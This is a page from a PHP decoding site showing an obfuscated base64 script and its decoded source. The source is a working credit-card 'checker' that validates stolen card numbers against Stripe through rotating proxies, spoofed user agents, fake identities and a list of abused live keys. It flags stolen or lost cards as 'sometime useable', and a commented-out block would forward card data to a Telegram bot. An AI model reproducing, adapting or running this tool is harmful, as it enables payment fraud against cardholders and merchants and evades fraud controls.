Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHANCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0..
Decoded Output download
?>b'<?php
#----------------------------------------------[whole new code]-------------------------------------#
error_reporting(0);
set_time_limit(0);
error_reporting(0);
date_default_timezone_set(\'America/Buenos_Aires\');
function multiexplode($delimiters, $string)
{
$one = str_replace($delimiters, $delimiters[0], $string);
$two = explode($delimiters[0], $one);
return $two;
}
$lista = $_GET[\'lista\'];
$cc = multiexplode(array(":", "|", ""), $lista)[0];
$mes = multiexplode(array(":", "|", ""), $lista)[1];
$ano = multiexplode(array(":", "|", ""), $lista)[2];
$cvv = multiexplode(array(":", "|", ""), $lista)[3];
function GetStr($string, $start, $end)
{
$str = explode($start, $string);
$str = explode($end, $str[1]);
return $str[0];
}
function monarchproxys()
{
$poxySocks = file("Socks5.txt");
$myproxy = rand(0, sizeof($poxySocks) - 1);
$poxySocks = $poxySocks[$myproxy];
return $poxySocks;
}
$poxySocks4 = monarchproxys();
////////////////////////////===[Randomizing Details Api]
$get = file_get_contents(\'https://randomuser.me/api/1.2/?nat=us\');
preg_match_all("("first":"(.*)")siU", $get, $matches1);
$name = $matches1[1][0];
preg_match_all("("last":"(.*)")siU", $get, $matches1);
$last = $matches1[1][0];
preg_match_all("("email":"(.*)")siU", $get, $matches1);
$email = $matches1[1][0];
preg_match_all("("street":"(.*)")siU", $get, $matches1);
$street = $matches1[1][0];
preg_match_all("("city":"(.*)")siU", $get, $matches1);
$city = $matches1[1][0];
preg_match_all("("state":"(.*)")siU", $get, $matches1);
$state = $matches1[1][0];
preg_match_all("("phone":"(.*)")siU", $get, $matches1);
$phone = $matches1[1][0];
preg_match_all("("postcode":(.*),")siU", $get, $matches1);
$postcode = $matches1[1][0];
#-------------------------------------------------------------[Keys]--------------------------------------------------------------#
$keys = array(
1 => \'pk_live_3IwE899TqwDYcuTLxysAO5Vj\',
2 => \'pk_live_Yyqdivl8lZDP2udjqizswVMT\',
3 => \'pk_live_tgGvxVRFYO3a2kVAcVNOGpg1\', ///////////// working
// 4 => \'\',
5 => \'pk_live_lP1fPgzNCyTxA7hTwpKZFRkf\', /////////////////working
// 6 => \'\',
7 => \'pk_live_jVbZ8Nj5nHfpvnQFHugBQ7St\', ////////////////working
8 => \'pk_live_F54gtEtcMEgCpneXO5NO5WkB00FazXvGUA\', ///////////working
9 => \'pk_live_LldblHPgnxaXMwmOXxV4MbK9002Qxs2DV2\', ///////////working
10 => \'pk_live_pzhQQMY8VOol8aYcBpX86BKg\', /////////////working
11 => \'pk_live_AvhZ2BMTqX91c7PmkBMFtx0Z\', //////////////working
12 => \'pk_live_1NItjSWA2qFGAITqBPyfN1ZG\', /////////////working
13 => \'pk_live_SRWmp6QmGNNIBAqiS7CyPFnI\', /////////////working
14 => \'pk_live_9RzCojmneCvL31GhYTknluXp\', //////////////working
15 => \'pk_live_0DxUTX54Pye7bbl7eBtd7ivk\', /////////////working
// 16 => \'\',
17 => \'pk_live_GWQnyoQBA8QSySDV4tPMyOgI\', /////////////working
// 18 => \'pk_live_0C0BZpSPDOF26zlwpQl6clgr\', ////////////not working
// 19 => \'\',
// 20 => \'pk_live_WJeXh3PCWlVcm1aSxBpEIT5B\', ////////////not working
// 21 => \'\',
// 22 => \'pk_live_4ZzqA1oVa95sMDaY9Dz9UjLF\' //////////not working
);
$key = array_rand($keys);
$keyStripe = $keys[$key];
#-------------------------------------------------------------[Keys]--------------------------------------------------------------#
#-----------------------------------------------------------[UserAgent]----------------------------------------------------------#
$agent = array("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246",
"Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1",
"Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36",
"Mozilla/5.0 (X11; Linux i686; rv:64.0) Gecko/20100101 Firefox/64.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; WOW64; rv:63.0) Gecko/20100101 Firefox/63.0",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.10; rv:62.0) Gecko/20100101 Firefox/62.0",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Avant Browser; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.21022; InfoPath.2)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.1)",
"Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)",
"Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
"Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931",
"Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
"Opera/9.80 (Macintosh; Intel Mac OS X 10.14.1) Presto/2.12.388 Version/12.16",
"Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; x64; fr; rv:1.9.1.1) Gecko/20090722 Firefox/3.5.1 Orca/1.2 build 2",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
"Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
"Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
"Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9",
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+",
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9860; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+"
);
$ramdon_useragent = array_rand($agent);
$USERAGENT = $agent[$ramdon_useragent];
#-----------------------------------------------------------[UserAgent]----------------------------------------------------------#
// $botToken="1187838564:AAGjMOdc1NKIYhF3q8mzeFXyzyvf-RJp_W4";
// $website="https://api.telegram.org/bot".$botToken;
// $chatId=-484372399; //Receiver Chat Id
// $params=[
// \'chat_id\'=>$chatId,
// \'text\'=>($lista .$result),
// ];
// $ch = curl_init($website . \'/sendMessage\');
// curl_setopt($ch, CURLOPT_HEADER, false);
// curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($ch, CURLOPT_POST, 1);
// curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
// curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
// $result = curl_exec($ch);
#-------------------------------------------------------------[ProxyOrbit]--------------------------------------------------------#
$cp = curl_init();
curl_setopt($cp, CURLOPT_URL, \'https://api.proxyorbit.com/v1/?token=QDDevPa7IiRUADjKYei5pRLr-9ALNjN1sRPbgja5HiE&google=true\');
curl_setopt($cp, CURLOPT_HEADER, 0);
curl_setopt($cp, CURLOPT_CUSTOMREQUEST, "GET");
curl_setopt($cp, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($cp, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cp, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($cp, CURLOPT_SSL_VERIFYHOST, 0);
$result1 = curl_exec($cp);
$response = json_decode($result1);
curl_close($cp);
$ip = $response->ip;
$port = $response->port;
$protocol = $response->protocol;
$orbit = "$ip:$port";
#-------------------------------------------------------------[ProxyOrbit]--------------------------------------------------------#
#---------------------------------------------------[For Authorizing Cards]------------------------------------------------------------#
$ch = curl_init();
#-------------------------------------------------------------[ProxyOrbit]--------------------------------------------------------#
curl_setopt($ch, CURLOPT_PROXY, $orbit);
curl_setopt($ch, CURLOPT_URL, \'https://api.stripe.com/v1/tokens\');
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER[\'HTTP_USER_AGENT\']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
\'accept: application/json\',
\'content-type: application/x-www-form-urlencoded\',
\'origin: https://checkout.stripe.com\',
\'referer: https://checkout.stripe.com/m/v3/index-7f66c3d8addf7af4ffc48af15300432a.html?distinct_id=4e2202a4-6385-0bd8-736b-82651e1df1ef\',
\'sec-fetch-mode: cors\',
\'user-agent: $USERAGENT\',
\'sec-fetch-site: same-site\'));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
// curl_setopt($ch, CURLOPT_MAXCONNECTS, 6);
// curl_setopt($ch, CURLOPT_TIMEOUT, 30);
// curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
// curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
// curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS4);
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().\'/cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().\'/cookie.txt\');
curl_setopt($ch, CURLOPT_POSTFIELDS, \'email=\'.$email.\'&validation_type=card&payment_user_agent=Stripe+Checkout+v3+checkout-manhattan+(stripe.js%2Fa44017d)&referrer=https%3A%2F%2Fthemothermaker.com%2Fmy-account%2Fadd-payment-method%2F&pasted_fields=number&card[number]=\'.$cc.\'&card[exp_month]=\'.$mes.\'&card[exp_year]=\'.$ano.\'&card[cvc]=\'.$cvv.\'&card[name]=\'.$name.\'%40\'.$last.\'&time_on_page=31200&guid=0e2b05e0-371b-4e29-8d7b-e544c14f9d99&muid=75b2c0ec-03c3-42f3-9328-074e3c397422&sid=51b2194d-c972-410e-8155-c1f4391f91c1&key=\'.$keyStripe.\'\');
$result = curl_exec($ch);
curl_exec($curl);
#----------------------------------------------------------------[Card Response]-------------------------------------------------------#
if (strpos($result, \'"cvc_check": "pass"\')) {
echo \'<span class="badge badge-success">Aprovada</span> <span class="badge badge-success">\'. $lista .\'</span> <span class="badge badge-success"> ♚ CVC MATCHED ♚ Sammy0007 ♚ </span></br>\';
}
elseif (strpos($result, \'"status":"success"\')) {
echo \'<span class="badge badge-success">Aprovada</span> <span class="badge badge-success">\'. $lista .\'</span> <span class="badge badge-success"> ♚ CVC MATCHED ♚ Sammy0007 ♚ </span></br>\';
}
elseif(strpos($result, "Thank You For Donation." )) {
echo \'<span class="badge badge-success">Aprovada</span> <span class="badge badge-success">\'. $lista .\'</span> <span class="badge badge-success"> ♚ CVC MATCHED ♚ Sammy0007 ♚ </span></br>\';
}
elseif(strpos($result, "Thank You." )) {
echo \'<span class="badge badge-success">Aprovada</span> <span class="badge badge-success">\'. $lista .\'</span> <span class="badge badge-success"> ♚ CVC MATCHED ♚ Sammy0007 ♚ </span></br>\';
}
elseif(strpos($result, \'security code is incorrect.\' )) {
echo \'<span class="badge badge-success">Reprovada</span> <span class="badge badge-success">\'. $lista .\'</span> <span class="badge badge-info"> </span> <span class="badge badge-info"> ♚ CCN LIVE ♚ Sammy0007 ♚ </span></br>\';
}
elseif (strpos($result, "incorrect_cvc")) {
echo \'<span class="badge badge-success">Aprovada</span> <span class="badge badge-success">\'. $lista .\'</span> <span class="badge badge-info"> </span> <span class="badge badge-info"> ♚ CCN LIVE ♚ Sammy0007 ♚ </span></br>\';
}
elseif(strpos($result, \'Your card zip code is incorrect.\' )) {
echo \'<span class="badge badge-success">Aprovada</span> <span class="badge badge-success">\'. $lista .\'</span> <span class="badge badge-success"> ♚ CVC MATCHED - Incorrect Zip ♚ Sammy0007 ♚ </span></br>\';
}
elseif (strpos($result, "stolen_card")) {
echo \'<span class="badge badge-success">Reprovada</span> <span class="badge badge-success">\'. $lista .\'</span> <span class="badge badge-info"> </span> <span class="badge badge-info"> ♚ Stolen_Card - Sometime Useable ♚ Sammy0007 ♚ </span></br>\';
}
elseif (strpos($result, "lost_card")) {
echo \'<span class="badge badge-success">Reprovada</span> <span class="badge badge-success">\'. $lista .\'</span> <span class="badge badge-info"> </span> <span class="badge badge-info"> ♚ Lost_Card - Sometime Useable ♚ Sammy0007 ♚ </span></br>\';
}
elseif(strpos($result, \'Your card has insufficient funds.\')) {
echo \'<span class="badge badge-success">Reprovada</span> <span class="badge badge-success">\'. $lista .\'</span> <span class="badge badge-info"> </span> <span class="badge badge-info"> ♚ Insufficient Funds ♚ Sammy0007 ♚ </span></br>\';
}
elseif(strpos($result, \'Your card has expired.\')) {
echo \'<span class="badge badge-danger">Reprovada</span> <span class="badge badge-danger ">\'. $lista .\'</span> <span class="badge badge-info"> ♚ Card Expired ♚ Sammy0007 ♚</span> </br>\';
}
elseif (strpos($result, "pickup_card")) {
echo \'<span class="badge badge-success">Reprovada</span> <span class="badge badge-success">\'. $lista .\'</span> <span class="badge badge-info"> </span> <span class="badge badge-info"> ♚ Pickup Card_Card - Sometime Useable ♚ Sammy0007 ♚ </span></br>\';
}
elseif(strpos($result, \'Your card number is incorrect.\')) {
echo \'<span class="badge badge-danger">Reprovada</span> <span class="badge badge-danger ">\'. $lista .\'</span> <span class="badge badge-info"> ♚ Incorrect Card Number ♚ Sammy0007 ♚</span> </br>\';
}
elseif (strpos($result, "incorrect_number")) {
echo \'<span class="badge badge-danger">Reprovada</span> <span class="badge badge-danger ">\'. $lista .\'</span> <span class="badge badge-info"> ♚ Incorrect Card Number ♚ Sammy0007 ♚</span> </br>\';
}
elseif(strpos($result, \'Your card was Declined.\')) {
echo \'<span class="badge badge-danger">Reprovada</span> <span class="badge badge-danger ">\'. $lista .\'</span> <span class="badge badge-info"> ♚ Card Reprovada ♚ Sammy0007 ♚</span> </br>\';
}
elseif (strpos($result, "generic_decline")) {
echo \'<span class="badge badge-danger">Reprovada</span> <span class="badge badge-danger ">\'. $lista .\'</span> <span class="badge badge-info"> ♚ Reprovada : Generic_Decline ♚ Sammy0007 ♚</span> </br>\';
}
elseif (strpos($result, "do_not_honor")) {
echo \'<span class="badge badge-danger">Reprovada</span> <span class="badge badge-danger ">\'. $lista .\'</span> <span class="badge badge-info"> ♚ Reprovada : Do_Not_Honor ♚ Sammy0007 ♚</span> </br>\';
}
elseif (strpos($result, \'"cvc_check": "unchecked"\')) {
echo \'<span class="badge badge-danger">Reprovada</span> <span class="badge badge-danger ">\'. $lista .\'</span> <span class="badge badge-info"> ♚ Security Code Check : Unchecked [Proxy Dead] ♚ Sammy0007 ♚</span> </br>\';
}
elseif (strpos($result, \'"cvc_check": "fail"\')) {
echo \'<span class="badge badge-danger">Reprovada</span> <span class="badge badge-danger ">\'. $lista .\'</span> <span class="badge badge-info"> ♚ Security Code Check : Fail ♚ Sammy0007 ♚</span> </br>\';
}
elseif (strpos($result, "expired_card")) {
echo \'<span class="badge badge-danger">Reprovada</span> <span class="badge badge-danger ">\'. $lista .\'</span> <span class="badge badge-info"> ♚ Expired Card ♚ Sammy0007 ♚</span> </br>\';
}
elseif (strpos($result,\'Your card does not support this type of purchase.\')) {
echo \'<span class="badge badge-danger">Reprovada</span> <span class="badge badge-danger ">\'. $lista .\'</span> <span class="badge badge-info"> ♚ Card Doesnt Support This Purchase ♚ Sammy0007 ♚</span> </br>\';
}
else {
echo \'<span class="badge badge-danger">Reprovada</span> <span class="badge badge-danger ">\'. $lista .\'</span> <span class="badge badge-info"> ♚ Proxy Dead / Error Not Listed ♚ Sammy0007 ♚</span> </br>\';
}
curl_close($ch);
ob_flush();
//////=========Comment Echo $result If U Want To Hide Site Side Response
echo $result
///////////////////////////////////////////////===========================Edited By Sammy0007================================================\\\\
?>'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PD9waHANCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1bd2hvbGUgbmV3IGNvZGVdLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMNCg0KZXJyb3JfcmVwb3J0aW5nKDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQplcnJvcl9yZXBvcnRpbmcoMCk7DQpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBbWVyaWNhL0J1ZW5vc19BaXJlcycpOw0KDQoNCmZ1bmN0aW9uIG11bHRpZXhwbG9kZSgkZGVsaW1pdGVycywgJHN0cmluZykNCnsNCiAgJG9uZSA9IHN0cl9yZXBsYWNlKCRkZWxpbWl0ZXJzLCAkZGVsaW1pdGVyc1swXSwgJHN0cmluZyk7DQogICR0d28gPSBleHBsb2RlKCRkZWxpbWl0ZXJzWzBdLCAkb25lKTsNCiAgcmV0dXJuICR0d287DQp9DQoNCiRsaXN0YSA9ICRfR0VUWydsaXN0YSddOw0KJGNjID0gbXVsdGlleHBsb2RlKGFycmF5KCI6IiwgInwiLCAiIiksICRsaXN0YSlbMF07DQokbWVzID0gbXVsdGlleHBsb2RlKGFycmF5KCI6IiwgInwiLCAiIiksICRsaXN0YSlbMV07DQokYW5vID0gbXVsdGlleHBsb2RlKGFycmF5KCI6IiwgInwiLCAiIiksICRsaXN0YSlbMl07DQokY3Z2ID0gbXVsdGlleHBsb2RlKGFycmF5KCI6IiwgInwiLCAiIiksICRsaXN0YSlbM107DQoNCmZ1bmN0aW9uIEdldFN0cigkc3RyaW5nLCAkc3RhcnQsICRlbmQpDQp7DQogICRzdHIgPSBleHBsb2RlKCRzdGFydCwgJHN0cmluZyk7DQogICRzdHIgPSBleHBsb2RlKCRlbmQsICRzdHJbMV0pOw0KICByZXR1cm4gJHN0clswXTsNCn0NCg0KZnVuY3Rpb24gbW9uYXJjaHByb3h5cygpDQp7DQogICRwb3h5U29ja3MgPSBmaWxlKCJTb2NrczUudHh0Iik7DQogICRteXByb3h5ID0gcmFuZCgwLCBzaXplb2YoJHBveHlTb2NrcykgLSAxKTsNCiAgJHBveHlTb2NrcyA9ICRwb3h5U29ja3NbJG15cHJveHldOw0KICByZXR1cm4gJHBveHlTb2NrczsNCn0NCiRwb3h5U29ja3M0ID0gbW9uYXJjaHByb3h5cygpOw0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vPT09W1JhbmRvbWl6aW5nIERldGFpbHMgQXBpXQ0KDQokZ2V0ID0gZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vcmFuZG9tdXNlci5tZS9hcGkvMS4yLz9uYXQ9dXMnKTsNCnByZWdfbWF0Y2hfYWxsKCIoImZpcnN0IjoiKC4qKSIpc2lVIiwgJGdldCwgJG1hdGNoZXMxKTsNCiRuYW1lID0gJG1hdGNoZXMxWzFdWzBdOw0KcHJlZ19tYXRjaF9hbGwoIigibGFzdCI6IiguKikiKXNpVSIsICRnZXQsICRtYXRjaGVzMSk7DQokbGFzdCA9ICRtYXRjaGVzMVsxXVswXTsNCnByZWdfbWF0Y2hfYWxsKCIoImVtYWlsIjoiKC4qKSIpc2lVIiwgJGdldCwgJG1hdGNoZXMxKTsNCiRlbWFpbCA9ICRtYXRjaGVzMVsxXVswXTsNCnByZWdfbWF0Y2hfYWxsKCIoInN0cmVldCI6IiguKikiKXNpVSIsICRnZXQsICRtYXRjaGVzMSk7DQokc3RyZWV0ID0gJG1hdGNoZXMxWzFdWzBdOw0KcHJlZ19tYXRjaF9hbGwoIigiY2l0eSI6IiguKikiKXNpVSIsICRnZXQsICRtYXRjaGVzMSk7DQokY2l0eSA9ICRtYXRjaGVzMVsxXVswXTsNCnByZWdfbWF0Y2hfYWxsKCIoInN0YXRlIjoiKC4qKSIpc2lVIiwgJGdldCwgJG1hdGNoZXMxKTsNCiRzdGF0ZSA9ICRtYXRjaGVzMVsxXVswXTsNCnByZWdfbWF0Y2hfYWxsKCIoInBob25lIjoiKC4qKSIpc2lVIiwgJGdldCwgJG1hdGNoZXMxKTsNCiRwaG9uZSA9ICRtYXRjaGVzMVsxXVswXTsNCnByZWdfbWF0Y2hfYWxsKCIoInBvc3Rjb2RlIjooLiopLCIpc2lVIiwgJGdldCwgJG1hdGNoZXMxKTsNCiRwb3N0Y29kZSA9ICRtYXRjaGVzMVsxXVswXTsNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1bS2V5c10tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMNCg0KJGtleXMgPSBhcnJheSgNCiAgICAxID0+ICdwa19saXZlXzNJd0U4OTlUcXdEWWN1VEx4eXNBTzVWaicsDQogICAgMiA9PiAncGtfbGl2ZV9ZeXFkaXZsOGxaRFAydWRqcWl6c3dWTVQnLA0KICAgIDMgPT4gJ3BrX2xpdmVfdGdHdnhWUkZZTzNhMmtWQWNWTk9HcGcxJywgLy8vLy8vLy8vLy8vLyB3b3JraW5nDQogICAgICAvLyA0ID0+ICcnLA0KICAgIDUgPT4gJ3BrX2xpdmVfbFAxZlBnek5DeVR4QTdoVHdwS1pGUmtmJywgLy8vLy8vLy8vLy8vLy8vLy93b3JraW5nDQogICAgLy8gNiA9PiAnJywNCiAgICA3ID0+ICdwa19saXZlX2pWYlo4Tmo1bkhmcHZuUUZIdWdCUTdTdCcsICAgIC8vLy8vLy8vLy8vLy8vLy93b3JraW5nDQogICAgOCA9PiAncGtfbGl2ZV9GNTRndEV0Y01FZ0NwbmVYTzVOTzVXa0IwMEZhelh2R1VBJywgLy8vLy8vLy8vLy93b3JraW5nDQogICAgOSA9PiAncGtfbGl2ZV9MbGRibEhQZ254YVhNd21PWHhWNE1iSzkwMDJReHMyRFYyJywgICAvLy8vLy8vLy8vL3dvcmtpbmcNCiAgICAxMCA9PiAncGtfbGl2ZV9wemhRUU1ZOFZPb2w4YVljQnBYODZCS2cnLCAvLy8vLy8vLy8vLy8vd29ya2luZw0KICAgIDExID0+ICdwa19saXZlX0F2aFoyQk1UcVg5MWM3UG1rQk1GdHgwWicsIC8vLy8vLy8vLy8vLy8vd29ya2luZw0KICAgIDEyID0+ICdwa19saXZlXzFOSXRqU1dBMnFGR0FJVHFCUHlmTjFaRycsIC8vLy8vLy8vLy8vLy93b3JraW5nDQogICAgMTMgPT4gJ3BrX2xpdmVfU1JXbXA2UW1HTk5JQkFxaVM3Q3lQRm5JJywgLy8vLy8vLy8vLy8vL3dvcmtpbmcNCiAgICAxNCA9PiAncGtfbGl2ZV85UnpDb2ptbmVDdkwzMUdoWVRrbmx1WHAnLCAvLy8vLy8vLy8vLy8vL3dvcmtpbmcNCiAgICAxNSA9PiAncGtfbGl2ZV8wRHhVVFg1NFB5ZTdiYmw3ZUJ0ZDdpdmsnLCAvLy8vLy8vLy8vLy8vd29ya2luZw0KICAgIC8vIDE2ID0+ICcnLCANCiAgICAxNyA9PiAncGtfbGl2ZV9HV1FueW9RQkE4UVN5U0RWNHRQTXlPZ0knLCAvLy8vLy8vLy8vLy8vd29ya2luZw0KICAgIC8vIDE4ID0+ICdwa19saXZlXzBDMEJacFNQRE9GMjZ6bHdwUWw2Y2xncicsIC8vLy8vLy8vLy8vL25vdCB3b3JraW5nDQogICAgLy8gMTkgPT4gJycsDQogICAgLy8gMjAgPT4gJ3BrX2xpdmVfV0plWGgzUENXbFZjbTFhU3hCcEVJVDVCJywgLy8vLy8vLy8vLy8vbm90IHdvcmtpbmcNCiAgICAvLyAyMSA9PiAnJywNCiAgICAvLyAyMiA9PiAncGtfbGl2ZV80WnpxQTFvVmE5NXNNRGFZOUR6OVVqTEYnIC8vLy8vLy8vLy9ub3Qgd29ya2luZw0KICAgICk7DQogICAgJGtleSA9IGFycmF5X3JhbmQoJGtleXMpOw0KICAgICRrZXlTdHJpcGUgPSAka2V5c1ska2V5XTsNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1bS2V5c10tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tW1VzZXJBZ2VudF0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIw0KDQokYWdlbnQgPSBhcnJheSgiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQyLjAuMjMxMS4xMzUgU2FmYXJpLzUzNy4zNiBFZGdlLzEyLjI0NiIsDQogICAgICAgICAgICAiTW96aWxsYS81LjAgKFgxMTsgQ3JPUyB4ODZfNjQgODE3Mi40NS4wKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNTEuMC4yNzA0LjY0IFNhZmFyaS81MzcuMzYiLA0KICAgICAgICAgICAgIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzExXzIpIEFwcGxlV2ViS2l0LzYwMS4zLjkgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzkuMC4yIFNhZmFyaS82MDEuMy45IiwNCiAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDcuMC4yNTI2LjExMSBTYWZhcmkvNTM3LjM2IiwNCiAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoWDExOyBVYnVudHU7IExpbnV4IHg4Nl82NDsgcnY6MTUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xNS4wLjEiLA0KICAgICAgICAgICAgIk1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA3LjA7IFNNLUc4OTJBIEJ1aWxkL05SRDkwTTsgd3YpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNC4wI